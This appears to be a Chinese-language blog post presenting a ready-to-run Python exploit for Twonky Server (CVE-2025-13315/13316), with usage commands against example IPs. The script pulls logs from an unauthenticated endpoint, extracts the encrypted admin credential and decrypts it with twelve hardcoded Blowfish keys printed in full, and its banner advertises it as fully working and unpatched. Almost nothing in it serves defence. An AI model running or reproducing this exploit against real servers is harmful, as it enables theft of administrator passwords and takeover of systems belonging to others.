揭秘Twonky Server高危漏洞：一键获取管理员密码（CVE-2025-13315/13316）

# 安装必要的Python依赖包
pip3 install requests cryptography

# 如果需要使用sudo权限运行
sudo pip3 install requests cryptography

# 基本语法
sudo python3 CVE-2025-13315.py http://目标IP:端口

# 示例（针对默认端口9000）
sudo python3 CVE-2025-13315.py http://192.168.1.100:9000

# 示例（自定义端口）
sudo python3 CVE-2025-13315.py http://10.0.0.50:8080

def exploit_twonky(target):
    """利用Twonky Server漏洞获取并解密管理员凭据
    
    Args:
        target (str): 目标Twonky服务器URL，如http://192.168.1.100:9000
    """
    url = f"{target.rstrip('/')}/nmc/rpc/log_getfile"
    
    print(f"[+] Targeting: {target}")
    print(f"[+] Fetching log via CVE-2025-13315 bypass endpoint...")
    
    try:
        # 通过CVE-2025-13315漏洞绕过认证访问受保护端点
        r = requests.get(url, timeout=10, verify=False)
        if r.status_code != 200 or len(r.text) < 100:
            print("[-] Failed to retrieve log. Is Twonky running and vulnerable?")
            return
    except:
        print("[-] Connection failed. Check IP/port.")
        return

    # 使用正则表达式匹配日志中的加密凭据
    # 格式：admin||{密钥索引}{加密十六进制字符串}
    match = re.search(r'admin\|\|(\d+)([a-fA-F0-9]{30,})', r.text)
    if not match:
        print("[-] No encrypted credentials found in log.")
        print("    Log snippet:")
        print(r.text[:500])
        return

    idx = int(match.group(1))  # 提取密钥索引（0-11）
    cipher_hex = match.group(2)  # 提取加密的十六进制字符串

    print(f"[+] Encrypted credential found!")
    print(f"    Key Index : {idx}")
    print(f"    Ciphertext: {cipher_hex[:64]}...")

    try:
        # 使用CVE-2025-13316漏洞解密密码
        password = decrypt_blowfish_ecb(idx, cipher_hex)
        print(f"\n[+] SUCCESS! Plaintext credentials recovered:")
        print(f"    Username: admin")
        print(f"    Password: {password}")
        print(f"\nYou now have full administrative access to this Twonky Server.")
    except Exception as e:
        print(f"[-] Decryption failed: {e}")

def decrypt_blowfish_ecb(key_index, ciphertext_hex):
    """使用硬编码的Blowfish密钥解密Twonky凭据
    
    Args:
        key_index (int): 密钥索引（0-11）
        ciphertext_hex (str): 十六进制格式的密文
    
    Returns:
        str: 解密后的明文密码
    
    Note:
        使用从TwonkyServer.exe/libtwonkyserver.so提取的12个静态密钥
    """
    # 从硬编码密钥数组中选择对应的密钥
    key = KEYS[key_index]
    
    # 将十六进制字符串转换为字节
    ciphertext = binascii.unhexlify(ciphertext_hex)
    
    # 创建Blowfish ECB模式解密器
    cipher = Cipher(algorithms.Blowfish(key), modes.ECB(), backend=default_backend())
    decryptor = cipher.decryptor()
    
    # 执行解密操作
    padded = decryptor.update(ciphertext) + decryptor.finalize()
    
    # 移除PKCS#5/PKCS#7填充
    pad_len = padded[-1]
    plaintext = padded[:-pad_len]
    
    # 解码为UTF-8字符串并移除空字符
    return plaintext.decode('utf-8', errors='ignore').rstrip('\x00')

# Twonky Server硬编码的12个静态Blowfish密钥
# 这些密钥从TwonkyServer.exe（Windows）和libtwonkyserver.so（Linux）中提取
KEYS = [
    b"E8ctd4jZwMbaV587",  # 索引0
    b"TGFWfWuW3cw28trN",  # 索引1
    b"pgqYY2g9atVpTzjY",  # 索引2
    b"KX7q4gmQvWtA8878",  # 索引3
    b"VJjh7ujyT8R5bR39",  # 索引4
    b"ZMWkaLp9bKyV6tXv",  # 索引5
    b"KMLvvq6my7uKkpxf",  # 索引6
    b"jwEkNvuwYCjsDzf5",  # 索引7
    b"FukE5DhdsbCjuKay",  # 索引8
    b"SpKNj6qYQGjuGMdd",  # 索引9
    b"qLyXuAHPTF2cPGWj",  # 索引10
    b"rKz7NBhM3vYg85mg"   # 索引11
]

if __name__ == "__main__":
    # 显示工具标题和基本信息
    banner = """
╔══════════════════════════════════════════════════════════╗
║ Twonky Server 8.5.2 - Full Auth Bypass PoC               ║
║ CVE-2025-13315 + CVE-2025-13316                          ║
║ 100% Working • No Patch Available • November 2025        ║
╚══════════════════════════════════════════════════════════╝
    """
    print(banner)
    
    # 检查命令行参数
    if len(sys.argv) != 2:
        print("Usage: sudo python3 CVE-2025-13315.py http://192.168.1.100:9000")
        sys.exit(1)
    
    # 执行漏洞利用
    exploit_twonky(sys.argv[1])